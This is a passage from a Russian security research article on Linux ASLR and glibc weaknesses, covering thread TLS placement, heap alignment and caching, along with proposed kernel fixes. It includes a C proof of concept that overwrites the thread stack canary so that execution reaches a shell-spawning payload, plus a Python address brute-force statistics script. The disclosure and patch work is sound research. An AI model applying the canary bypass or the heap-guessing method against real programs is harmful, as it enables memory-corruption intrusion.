    printf("stack_cookie addr %p \n", &frame[-1]);
    printf("diff : %lx\n", (char*)addr - (char*)&frame[-1]); 
    unsigned long len =(unsigned long)( (char*)addr - (char*)&frame[-1]) + fixup;
    // example of exploitation
    // prepare exploit
    void *exploit = malloc(len);
    memset(exploit, 0x41, len);
    void *ptr = &pwn_payload;
    memcpy((char*)exploit + 16, &ptr, 8);
    // exact stack-buffer overflow example
    memcpy(&frame[-1], exploit, len);
    return 0;
}

int main(int argc, char **argv, char **envp)
{
    pthread_t one;
    unsigned long *addr;
    void *val;
    arch_prctl(ARCH_GET_FS, &addr);
    if (argc > 1)
        fixup = 0x30;
    printf("main FS %p\n", addr);
    printf("cookie main: 0x%lx\n", addr[5]);
    pthread_create(&one, NULL, &first, 0);
    pthread_join(one,&val);
    return 0;
}

В данном примере защите удалось обнаружить переполнение на стеке и завершить приложение с ошибкой до перехвата управления злоумышленником. А теперь перезапишем эталонное значение «канарейки»:


blackzert@crasher:~/aslur/tests$ ./thread_stack_tls
main FS 0x7fa0e8615700
cookie main: 0xb5b15744571fd00
thread FS 0x7fa0e7e2f700
cookie thread: 0xb5b15744571fd00
stack_cookie addr 0x7fa0e7e2ef48 
diff : 7b8
*** stack smashing detected ***: ./thread_stack_tls terminated
Aborted (core dumped)

Во втором случае мы успешно переписываем «канарейку», и выполнилась функция pwn_payload, с запуском интепретатора sh.


blackzert@crasher:~/aslur/tests$ ./thread_stack_tls  1
main FS 0x7f4d94b75700
cookie main: 0x2ad951d602d94100
thread FS 0x7f4d94385700
cookie thread: 0x2ad951d602d94100
stack_cookie addr 0x7f4d94384f48
diff : 7b8
$ ^D
blackzert@crasher:~/aslur/tests$

Данный пример демонстрирует метод обхода защиты от переполнения на стеке. Для успешной эксплуатации злоумышленнику необходимо иметь возможность перезаписать достаточное число байтов, чтобы перезаписать эталонное значение «канарейки». В представленном примере злоумышленнику необходимо перезаписать как минимум 0x7b8+0x30 байт, что равно 2024 байт.


5.7 Стек потока и буфер маленького размера, выделенный с помощью malloc


Теперь создадим поток, в нем выделим память с помощью malloc и посчитаем разность с локальной переменной в этом потоке. Исходный код:


void * first(void *x)
{
        int a = (int)x;
        int *p_a = &a;
    void *ptr;
        ptr = malloc(8);
    printf("%lx\n%p, %p\n", (unsigned long long)ptr - (unsigned long long)p_a, ptr, p_a);
        return 0;
}

int main()
{
        pthread_t one;
        pthread_create(&one, NULL, &first, 0);
        void *val;
        pthread_join(one,&val);
        return 0;
}

Первый запуск программы:


blackzert@crasher:~/aslur/tests$ ./thread_stack_small_heap
<b>fffffffff844e98c</b>
0x7f20480008c0, 0x7f204fbb1f34

И второй запуск программы:


blackzert@crasher:~/aslur/tests$ ./thread_stack_small_heap
<b>fffffffff94a598c</b>
0x7fa3140008c0, 0x7fa31ab5af34

В этом случае разность не совпала. Причем от запуска к запуску она не совпадет. Попробуем разобраться, почему.


Первое, что следует заметить: адрес указателя, полученного malloc, не соответствует адресу кучи [heap] процесса.


glibc создает новую кучу для каждого созданного с помощью pthread_create потока. Указатель на эту кучу лежит в TLS потока, поэтому любой поток выделяет память из «своей» кучи, что дает выигрыш в производительности: не надо обеспечивать синхронизацию потоков в случае конкурентного malloc.


Но почему адрес «случаен»?


glibc при выделении новой кучи использует mmap, причем размер зависит от конфигурации. В моем случае размер кучи равняется 64 МБ. Адрес начала кучи должен быть выровнен на 64 МБ. Поэтому сначала выделяется 128 МБ, в выделенном диапазоне выделяется выровненный кусок 64 МБ, а невыровненные остатки освобождаются, образуя «дырку» между полученным адресом кучи и ближайшим регионом, выделенным ранее с помощью mmap.


Случайность же вносит само ядро еще при выборе mmap_based: этот адрес не выровнен на 64 МБ, как и все выделения памяти mmap, идущие до вызова рассматриваемого malloc.


Независимо от причины требования к выровненности адреса, это приводит к очень интересному эффекту — появляется возможность перебора.


Известно, что адресное пространство процесса для x86-64 определено в ядре Linux как «47bits minus one guard page», то есть с округлением 2^47 (здесь и далее для простоты мы специально опустим вычитание размера одной страницы при вычислении размеров).
64 МБ это 2^26, и значащих битов остается 47 – 26 = 21. То есть может быть всего 2^21 различных куч второстепенных потоков.


При необходимости это существенно сокращает множество перебора.


Благодаря выбору mmap адреса известным образом можно утверждать, что куча первого потока, созданного через pthread_create, будет выбрана в 64 МБ, близких к верхнему диапазону адресов. А точнее, рядом со всеми загруженными библиотеками, загруженными файлами и т. п.


В некоторых случаях возможно вычислить общий объем памяти выделенной до вызова заветного malloc. В нашем случае загружены только glibc, ld и создан стек для потока. Поэтому это значение мало.


В разделе 6 будет показано, как выбирается адрес mmap_base, однако сейчас немного дополнительной информации: mmap_base выбирается с энтропией от 28 до 32 бит в зависимости от настройки ядра при компиляции (по умолчанию 28 бит). И на это значение отстает некоторая верхняя граница.


Таким образом, в большой доле случаев старшие 7 бит адреса будут 0x7f и в редких случаях 0x7e. Это дает нам еще 7 бит определенности. Итого получается 2^14 возможных вариантов выбора кучи для первого потока. Чем больше потоков создано, тем больше будет уменьшаться это число для следующего выбора кучи.


Покажем это поведение следующим кодом на C:


void * first(void *x)
{
    int a = (int)x;
    void *ptr;
    ptr = malloc(8);
    printf("%p\n", ptr );
    return 0;
}

int main()
{
    pthread_t one;
    pthread_create(&one, NULL, &first, 0);
    void *val;
    pthread_join(one,&val);
    return 0;
}

И запустим эту программу достаточное число раз, собирая статистику адресов, кодом на Python:


import subprocess
d = {}
def dump(iteration, hysto):
    print 'Iteration %d len %d'%(iteration, len(hysto))
    for key in sorted(hysto):
        print hex(key), hysto[key]
i = 0
while i < 1000000:
    out = subprocess.check_output(['./t'])
    addr = int(out, 16)
    #omit page size
    addr >>= 12
    if addr in d:
        d[addr] += 1
    else:
        d[addr] = 1
    i += 1
dump(i,d)

Данный код достаточное число раз запускает простую программу './t’, которая создает новый поток, выделяет в ней буфер с помощью malloc и выводит адрес выделенного буфера. После того как программа отработала, адрес считывается и считается, сколько раз этот адрес встречался за время работы. В результате скрипт собирает 16 385 различных адресов, что равно 2^14+1. Столько попыток может сделать злоумышленник в худшем случае для того, чтобы угадать адрес кучи рассматриваемой программы.


Есть еще вариант «стек потока и большой буфер, выделенный с помощью malloc», но он мало чем отличается от описанного выше. Единственное отличие: в случае большого размера буфера снова вызовется mmap и сложно сказать, куда попадет выделенный регион, — он может заполнить образовавшуюся дырку или встать перед кучей.


5.8 Кэш стека и кучи потока


В этом примере создадим поток и выделим в нем память с помощью malloc. Запомним адреса стека потока и указателя, полученного с помощью malloc. Инициализируем некоторую переменную в стеке значением 0xdeadbeef. Завершим поток и создадим новый, выделим память с помощью malloc. Сравним адреса и значения переменной. На этот раз неинициализированной. Исходный код:


void * func(void *x)
{
    long a[1024];
    printf("addr: %p\n", &a[0]);
    if (x)
        printf("value %lx\n", a[0]);
    else
    {
        a[0] = 0xdeadbeef;
        printf("value %lx\n", a[0]);
    }
    void * addr = malloc(32);
    printf("malloced %p\n", addr);
    free(addr);
    return 0;
}

int main(int argc, char **argv, char **envp)
{
    int val;
    pthread_t thread;
    pthread_create(&thread, NULL, func, 0);
    pthread_join(thread, &val);
    pthread_create(&thread, NULL, func, 1);
    pthread_join(thread, &val);
    return 0;
}

Результат работы программы:


blackzert@crasher:~/aslur/tests$ ./pthread_cache 
addr: <b>0x7fd035e04f40</b>
value <b>deadbeef</b>
malloced <b>0x7fd030000cd0</b>
addr: <b>0x7fd035e04f40</b>
value <b></b>deadbeef
malloced <b>0x7fd030000cd0</b>

На примере видно, что адреса локальных переменных в стеке для потоков, созданных друг за другом, не отличаются. Также не отличаются и адреса переменных, выделенных для них с помощью malloc. А некоторые значения локальных переменных первого потока все еще доступны второму потоку. Злоумышленник может использовать это при эксплуатации уязвимости неинициализированных переменных (26). Кэш хоть и ускоряет работу приложения, однако предоставляет возможности для эксплуатации и обхода ASLR.


  1. Вычисление карты адресного пространства процесса

Когда создается новый процесс, ядро следует алгоритму для определения его адресного пространства:


  1. После вызова «execve» виртуальная память процесса полностью очищается.
  2. Создается самая первая vma, описывающая стек процесса (stack_base). Изначально его адрес выбирается как 2^47 – pagesize (где pagesize — размер страницы, в случае x86-64 равный 4096), а впоследствии сдвигается на некоторую случайную величину random1, не превышающую 16 ГБ (происходит это довольно поздно, после выбора базы бинарного файла, поэтому возможны интересные эффекты: если бинарный файл приложения займет всю память, стек окажется рядом с базовым адресом бинарного файла).
  3. Ядро выбирает mmap_base — адрес, относительно которого впоследствии будут загружены все библиотеки в адресном пространстве процесса. Определяется этот адрес как stack_baserandom2 – 128 МБ, где random2 случайная величина, верхняя граница которой зависит от настройки ядра и имеет предел от 1 ТБ до 16 ТБ.
  4. Ядро пробует загрузить бинарный файл программы. Если файл является PIE (не зависящим от базового адреса загрузки), базовый адрес выбирается как (2^47 – 1) * 2/3 + random3, где случайная величина random3 также определяется конфигурацией ядра и имеет верхний предел от 1 ТБ до 16 ТБ.
  5. Если файл нуждается в динамически подгружаемых библиотеках, ядро пробует загрузить программу-интерпретатор, которая должна будет загрузить все необходимые библиотеки и произвести необходимые инициализации. Обычно в качестве интерпретатора в ELF-файлах указан ld из glibc. Адрес выбирается относительно mmap_base.
  6. Ядро устанавливает кучу нового процесса как конец загруженного ELF-файла плюс некоторое случайное random4 с верхней границей в 32 МБ.

Когда все этапы прошли, процесс запускается, и в качестве стартового адреса будет либо адрес из ELF-файла интерпретатора (ld), либо из самого ELF-файла программы, если интерпретатор отсутствует (статически «слинкованный» ELF).


В случае включенного ASLR и наличия возможности загрузки по произвольному адресу у файла программы процесс будет иметь следующий вид



Каждая библиотека, будучи загруженной интерпретатором, получит управление, если в ней определен список глобальных конструкторов. В этом случае будут вызваны функции библиотеки для выделения ресурсов (глобальные конструкторы), необходимых этой библиотеке.


Благодаря известному порядку загрузки библиотек можно получить некоторую точку в потоке выполнения программы, позволяющую построить расположение регионов памяти друг относительно друга независимо от работы ASLR. Чем больше будет известно о библиотеках, их конструкторах и поведении программы, тем дальше эта точка будет отставать от точки создания процесса.


Для определения конкретных адресов все же нужна уязвимость, позволяющая получить адрес некоторого mmap-региона либо позволяющая читать (писать) память относительно некоторого mmap-региона:


  • В случае когда злоумышленнику известен адрес некоторого mmap-региона, выделенного от момента старта процесса до точки константного выполнения (раздел 4.3), атакующий может успешно вычислить mmap_base и адрес любой загруженной библиотеки или любого другого mmap-региона.
  • В случае возможности адресоваться относительно некоторого mmap-региона из точки константного выполнения — дополнительно какой-либо еще адрес знать не обязательно.

Для доказательства построения карты памяти процесса был написан код на Python, имитирующий поведение ядра при поиске новых регионов. Также был повторен способ загрузки ELF-файлов и порядок загрузки библиотек. Для имитации уязвимости, позволяющей прочитать адреса библиотек, использовалась файловая система /proc: скрипт считывает адрес ld (таким образом восстанавливает mmap_base) и повторяет карту памяти процесса, имея библиотеки. После чего сравнивает с оригиналом. Скрипт полностью повторял адресное пространство всех процессов. Код скрипта также доступен https://github.com/blackzert/aslur


6.1 Векторы атак


Рассмотрим некоторые уязвимости, уже ставшие классическими из-за своей распространенности.


  1. Ошибки переполнения буфера на куче. Широко известны разные уязвимости при работе приложений с кучей glibc и также методы их эксплуатации. Из всех методов можно выделить два типа — либо они позволяют модифицировать память относительно адреса уязвимой кучи, либо они позволяют модифицировать адреса памяти, известные атакующему. В некоторых случаях есть возможность читать произвольные данные с объектов на куче. Отсюда можно получить несколько векторов:

  • В случае модифицирования (чтения) памяти относительно объекта в куче в первую очередь нас интересует куча потока, созданного через pthread_create, потому как расстояние от нее до любой библиотеки (стека) потока будет меньше, чем от кучи главного потока.
  • В случае чтения (записи) памяти относительно некоторого адреса в первую очередь нужно пробовать прочитать адреса с самой кучи, так как там обычно лежат указатели на vtable или на libc.main_arena. Знание адреса libc.main_arena влечет за собой знание адреса glibc и впоследствии mmap_base. Знание адреса vtable может дать либо адрес некоторой библиотеки (следовательно и mmap_base), либо адрес загрузки программы. Если известен адрес загрузки программы, можно вычитать адреса библиотек из секции .got.plt, содержащей адреса на необходимые функции библиотек.

  1. Переполнение буфера:
    • на стеке приводит к рассмотренному варианту с «канарейкой»;
    • на куче приводит к варианту, рассмотренному в пункте 1;
    • на регионе mmap приводит к перезаписи соседних регионов в зависимости от контекста.

7. Исправления


В данной статье рассмотрено несколько проблем, рассмотрим исправления для некоторых из них. Начнем с самых простых и далее к более сложным.


7.1 Дырка в ld.so


Как было показано в разделе 4.4, загрузчик ELF-интерпретатора в ядре Linux содержит ошибку и допускает освобождение части памяти библиотеки интерпретатора. Соответствующее исправление было предложено сообществу, однако не получило должного внимания:
https://lkml.org/lkml/2017/7/14/290


7.2 Порядок загрузки сегментов ELF-файла


Было отмечено выше, что в ядре и в коде библиотеки glibc отсутствует проверка ELF-сегментов файла — код просто доверяет тому, что они составлены в правильном порядке. PoC данной проблемы приложен, как и исправление https://github.com/blackzert/aslur


Исправление довольно простое: мы проходим по сегментам и проверяем, что текущий не перекрывает следующий и сегменты упорядочены по возрастанию vaddr.


7.3 Учитывание mmap_min_addr при поиске адреса выделения mmap


Как только было написано исправление для mmap, позволяющее возвращать адреса с достаточной энтропией, возникла проблема: некоторые вызовы mmap завершались неудачно с ошибкой прав доступа. Даже от «рута», даже будучи запрошенным из ядра при исполнении execve.


В алгоритме выбора адреса (описанного ранее в разделе 3) был пункт «проверка адреса на ограничения, связанные с безопасностью». В текущей реализации эта проверка убеждается, что выбранный адрес больше mmap_min_addr. Это переменная системы доступная к изменению администратором через sysctl. Администратор системы может задать любое значение, и процесс не сможет выделить страницу по адресу меньше этого значения. По умолчанию значение этого параметра 65536.


Проблема была в том, что при вызове функции выбора адреса для mmap в архитектуре x86-64 Linux ядро использовало значение допустимой нижней границы 4096, что меньше значения mmap_min_addr. И функция cap_mmap_addr запрещает операцию, если выбранный адрес лежит между 4096 и mmap_min_addr.


cap_mmap_addr вызывается неявно: эта функция зарегистрирована «хуком» для проверки безопасности. Данное архитектурное решение вызывает вопросы: сначала мы выбираем адрес, не имея возможности проверить его по каким-то внешним критериям, а потом мы проверяем его допустимость в соответствии с текущими параметрами системы. И если адрес не прошел проверку, то даже в случае, когда адрес выбирается ядром, он может быть «запрещенным» и вся операция завершится с ошибкой EPERM.


Данный факт может быть использован злоумышленником для отказа от работы всей системы: если злоумышленнику удастся указать очень большое значение, в системе не сможет запуститься ни один пользовательский процесс. А если злоумышленник сможет сохранить это значение в параметрах системы, то даже перезагрузка не поможет — все создаваемые процессы будут получать EPERM и завершаться с ошибкой.


В качестве исправления на данный момент было добавлено использование значения mmap_min_addr при запросе к функции поиска адреса в качестве минимально возможного адреса. Такой же код уже используется для всех других архитектур.


Вопрос с тем, что будет, если администратор системы начнет менять это значение на работающей машине, остается открытым — все новые выделения после изменения могут завершаться с ошибкой EPERM, а ни один код программы попросту не ожидает такой ошибки и не знает что с ней делать. В документации к mmap сказано следующее:


” EPERM The operation was prevented by a file seal; see fcntl(2).”
То есть ядро не может вернуть EPERM на MAP_ANONYMOUS, хотя на деле это не так.


7.4 mmap


Основная рассматриваемая проблема mmap — отсутствие энтропии при выборе адреса. Логичное исправление, если идеально, — выбрать память случайно. Чтобы выбрать случайно, нужно сначала построить список всех свободных регионов, подходящих по размеру. После нужно выбрать из полученного списка случайный регион и адрес из этого региона, удовлетворяющий критериям поиска — длине запрашиваемого региона и допустимым нижней и верхней границам.


Для реализации этой логики можно выделить несколько следующих подходов:


  1. Держать список пустот в упорядоченном по убыванию массиве. В этом случае выбор случайного элемента происходит за одну операцию, однако поддержание этого массива требует множества операций по освобождению (выделению) памяти при изменении текущей карты виртуального адресного пространства процесса.
  2. Держать список пустот в дереве и списке, чтобы за логарифм от числа пустот находить крайнюю границу, удовлетворяющую по длине, и выбирать случайный элемент из массива. Если он не подходит по ограничениям минимального (максимального) допустимого адреса, выбрать следующий, и так далее, пока не будет найден необходимый или не останется ни одного. В этом подходе необходимо поддерживать сложные структуры списка и дерева аналогично уже существующим для vma при изменении адресного пространства.
  3. Использовать существующую структуру расширенного красно-черного дерева vma для обхода списка допустимых пустот gap и выбора случайного адреса. В худшем случае при каждом выборе придется обходить все вершины, однако нет никаких дополнительных расходов на перестроение дерева.

Был выбран последний подход — использовать существующую структуру организации vma без добавления избыточности и выбирать адрес по следующему алгоритму:


  1. Использовать существующий алгоритм для нахождения возможной пустоты gap, имеющей наибольший допустимый адрес. Также запомнить структуру vma, следующую за ней. Если такого нет, вернуть ENOMEM.
  2. Найденный gap запомнить как результат, а vma — как максимальную верхнюю границу.
  3. Взять первую структуру vma из двусвязного списка. Она будет листом в красно-черном дереве, потому как имеет наименьший адрес.
  4. Совершить левосторонний обход дерева от выбранной vma, проверяя допустимость свободного региона между рассматриваемой vma и ее предшественником. Если свободный регион подходит по ограничениям, получить очередной бит энтропии. Если бит энтропии равен 1, переопределить текущее выбранное значение пустоты gap.
  5. Вернуть случайный адрес из выбранного региона пустоты gap.

В качестве оптимизации в пункте 4 можно на заходить в поддеревья, размер расширения gap которых меньше необходимой длины.


Данный алгоритм выбирает адрес с достаточным значением энтропии, хотя и работает дольше текущей реализации.


Из явных недостатков можно отметить необходимость обхода всех vma, имеющих достаточную длину пустоты gap. Однако это компенсируется отсутствием накладных расходов производительности при изменении адресного пространства.


8. Тестирование исправлений к ASLR


После применения описанных исправлений к ядру процесс /bin/less выглядит следующим образом:


314a2d0da000-314a2d101000 r-xp /lib/x86_64-linux-gnu/ld-2.26.so
314a2d301000-314a2d302000 r--p /lib/x86_64-linux-gnu/ld-2.26.so
314a2d302000-314a2d303000 rw-p /lib/x86_64-linux-gnu/ld-2.26.so
314a2d303000-314a2d304000 rw-p 

3169afcd8000-3169afcdb000 rw-p 

316a94aa1000-316a94ac6000 r-xp /lib/x86_64-linux-gnu/libtinfo.so.5.9
316a94ac6000-316a94cc5000 ---p /lib/x86_64-linux-gnu/libtinfo.so.5.9
316a94cc5000-316a94cc9000 r--p /lib/x86_64-linux-gnu/libtinfo.so.5.9
316a94cc9000-316a94cca000 rw-p /lib/x86_64-linux-gnu/libtinfo.so.5.9

3204e362d000-3204e3630000 rw-p 

4477fff2c000-447800102000 r-xp /lib/x86_64-linux-gnu/libc-2.26.so
447800102000-447800302000 ---p /lib/x86_64-linux-gnu/libc-2.26.so
447800302000-447800306000 r--p /lib/x86_64-linux-gnu/libc-2.26.so
447800306000-447800308000 rw-p /lib/x86_64-linux-gnu/libc-2.26.so
447800308000-44780030c000 rw-p 

509000396000-509000d60000 r--p /usr/lib/locale/locale-archive

56011c1b1000-56011c1d7000 r-xp /bin/less
56011c3d6000-56011c3d7000 r--p /bin/less
56011c3d7000-56011c3db000 rw-p /bin/less
56011c3db000-56011c3df000 rw-p 

56011e0d8000-56011e0f9000 rw-p [heap]

7fff6b4a4000-7fff6b4c5000 rw-p [stack]
7fff6b53b000-7fff6b53e000 r--p [vvar]
7fff6b53e000-7fff6b540000 r-xp [vdso]
ffffffffff600000-ffffffffff601000 r-xp [vsyscall]

На примере видно:


  1. Все библиотеки выделены в случайных местах, находятся на случайном друг от друга расстоянии.
  2. Файл «/usr/lib/locale/locale-archive», отображенный с помощью mmap, также находится по случайным адресам.
  3. «Дыра» в /lib/x86_64-linux-gnu/ld-2.26.so не заполнена ни одним отображением mmap.

Данный патч был протестирован на системе Ubuntu 17.04 с запущенными браузерами Chrome и Mozilla Firefox. Никаких проблем обнаружено не было.


9. Заключение


В результате исследования было обнаружено много различных особенностей в работе ядра и glibc при обслуживании кода программ. Была сформулирована и рассмотрена проблема близкого расположения памяти. Были найдены следующие проблемы:


  • Алгоритм выбора адреса mmap не содержит энтропии.
  • Загрузка ELF-файла в ядре и интерпретаторе содержит ошибку обработки сегментов.
  • При поиске адреса функцией do_mmap в ядре не учитывается mmap_min_addr в архитектуре x86-64.
  • Загрузка ELF-файла в ядре позволяет создание «дырок» в ELF-файле программы и интерпретаторе ELF-файла.
  • Интерпретатор ELF-файла из GNU Libc ld, используя mmap для выделения памяти для библиотек, загружает библиотеки по зависящим от mmap_base адресам. Также библиотеки загружаются в строго определенном порядке.
  • Библиотека GNU Libc, используя mmap для выделения стека, кучи и TLS потока, также располагает их по зависящим от mmap_base адресам.
  • Библиотека GNU Libc размещает TLS потоков, созданных c помощью pthread_create, в начале стека, что позволяет обойти защиту от переполнения буфера на стеке, переписав «канарейку».
  • Библиотека GNU Libc кэширует ранее выделенные кучи (стеки) потоков, что позволяет в некоторых случаях успешно завершить эксплуатацию уязвимого приложения.
  • Библиотека GNU Libc создает кучу для новых потоков, выровненную на 2^26, что снижает мощность перебора.

Данные проблемы помогают злоумышленнику при обходе ASLR или при обходе защиты от переполнении буфера на стеке. Для некоторых выявленных проблем были предложены исправления в виде патчей к ядру.


Для всех проблем были представлены PoC. Был предложен алгоритм выбора адреса, подразумевающий достаточный уровень энтропии. Продемонстрированный подход может быть использован для анализа ASLR в других операционных системах, например Windows или Mac OS X.


Был рассмотрен ряд особенностей реализации GNU Libc, знание которых в некоторых случаях позволяет упростить эксплуатацию приложений.


Продемонстрированный подход может быть использован для анализа поведения ASLR в других операционных системах, таких как Windows, Mac OS X и Android.


Автор: Илья Смит.


Ссылки


  1. Erik Buchanan, Ryan Roemer, Stefan Savage, Hovav Shacham. Return-Oriented Programming: Exploits Without Code Injection. [Online] Aug 2008. https://www.blackhat.com/presentations/bh-usa-08/Shacham/BH_US_08_Shacham_Return_Oriented_Programming.pdf.
  2. xorl. [Online] https://xorl.wordpress.com/2011/01/16/linux-kernel-aslr-implementation/.
  3. Reed Hastings, Bob Joyce. Purify: Fast Detection of Memory Leaks and Access Errors. [В Интернете] December 1992 г. https://web.stanford.edu/class/cs343/resources/purify.pdf.
  4. Improper Restriction of Operations within the Bounds of a Memory Buffer. [В Интернете] https://cwe.mitre.org/data/definitions/119.html.
  5. AMD Bulldozer Linux ASLR weakness: Reducing entropy by 87.5%. [В Интернете] http://hmarco.org/bugs/AMD-Bulldozer-linux-ASLR-weakness-reducing-mmaped-files-by-eight.html.
  6. Dmitry Evtyushkin, Dmitry Ponomarev, Nael Abu-Ghazaleh. Jump Over ASLR: Attacking Branch Predictors to Bypass ASLR. [В Интернете] http://www.cs.ucr.edu/~nael/pubs/micro16.pdf.
  7. Hector Marco-Gisbert, Ismael Ripoll. Offset2lib: bypassing full ASLR on 64bit Linux. [В Интернете] https://cybersecurity.upv.es/attacks/offset2lib/offset2lib.html.
  8. Hector Marco-Gisbert, Ismael Ripoll-Ripoll. ASLR-NG: ASLR Next Generation. [В Интернете] 2016 г. https://cybersecurity.upv.es/solutions/aslr-ng/ASLRNG-BH-white-paper.pdf.
  9. Doubly linked list. [В Интернете] https://en.wikipedia.org/wiki/Doubly_linked_list.
  10. Bayer, Rudolf. Symmetric binary B-Trees: Data structure and maintenance algorithms. [В Интернете] 24 January 1972 г. https://link.springer.com/article/10.1007%2FBF00289509.
  11. Lespinasse, Michel. mm: use augmented rbtrees for finding unmapped areas. [В Интернете] 5 November 2012 г. https://lkml.org/lkml/2012/11/5/673.
  12. Integer Overflow or Wraparound. [В Интернете] https://cwe.mitre.org/data/definitions/190.html.
  13. Classic Buffer Overflow. [В Интернете] https://cwe.mitre.org/data/definitions/120.html.
  14. Incorrect Type Conversion or Cast. [В Интернете] https://cwe.mitre.org/data/definitions/704.html.
  15. CVE-2014-9427. [В Интернете] https://www.cvedetails.com/cve/CVE-2014-9427/.
  16. Security Enhancements in Android 7.0. [В Интернете] https://source.android.com/security/enhancements/enhancements70.
  17. Implement Library Load Order Randomization. [В Интернете] https://android-review.googlesource.com/c/platform/bionic/+/178130/2.
  18. Thread-Local Storage. [В Интернете] http://gcc.gnu.org/onlinedocs/gcc-3.3/gcc/Thread-Local.html.
  19. One, Aleph. Smashing The Stack For Fun And Profit. [В Интернете] http://www.phrack.org/issues/49/14.html#article.
  20. Fritsch, Hagen. Buffer overflows on linux-x86-64. [В Интернете] 16 April 2009 г. http://www.blackhat.com/presentations/bh-europe-09/Fritsch/Blackhat-Europe-2009-Fritsch-Buffer-Overflows-Linux-whitepaper.pdf.
  21. Litchfield, David. Defeating the Stack Based Buffer Overflow Prevention. [В Интернете] 8 September 2003 г. https://crypto.stanford.edu/cs155old/cs155-spring05/litch.pdf.
  22. Maxim Goryachy, Mark Ermolov. HOW TO HACK A TURNED-OFF COMPUTER, OR RUNNING. [В Интернете] https://www.blackhat.com/docs/eu-17/materials/eu-17-Goryachy-How-To-Hack-A-Turned-Off-Computer-Or-Running-Unsigned-Code-In-Intel-Management-Engine-wp.pdf.
  23. Use After Free. [В Интернете] https://cwe.mitre.org/data/definitions/416.html.
  24. [В Интернете] http://www.skyfree.org/linux/references/ELF_Format.pdf.
  25. Hocko, Michal. mm: introduce MAP_FIXED_SAFE. [В Интернете] https://lwn.net/Articles/741335/.
  26. Use of Uninitialized Variable. [В Интернете] https://cwe.mitre.org/data/definitions/457.html.
Tags:
Hubs:
+50
Comments 6
Comments Comments 6

Articles

Information

Website
www.ptsecurity.com
Registered
Founded
2002
Employees
1,001–5,000 employees
Location
Россия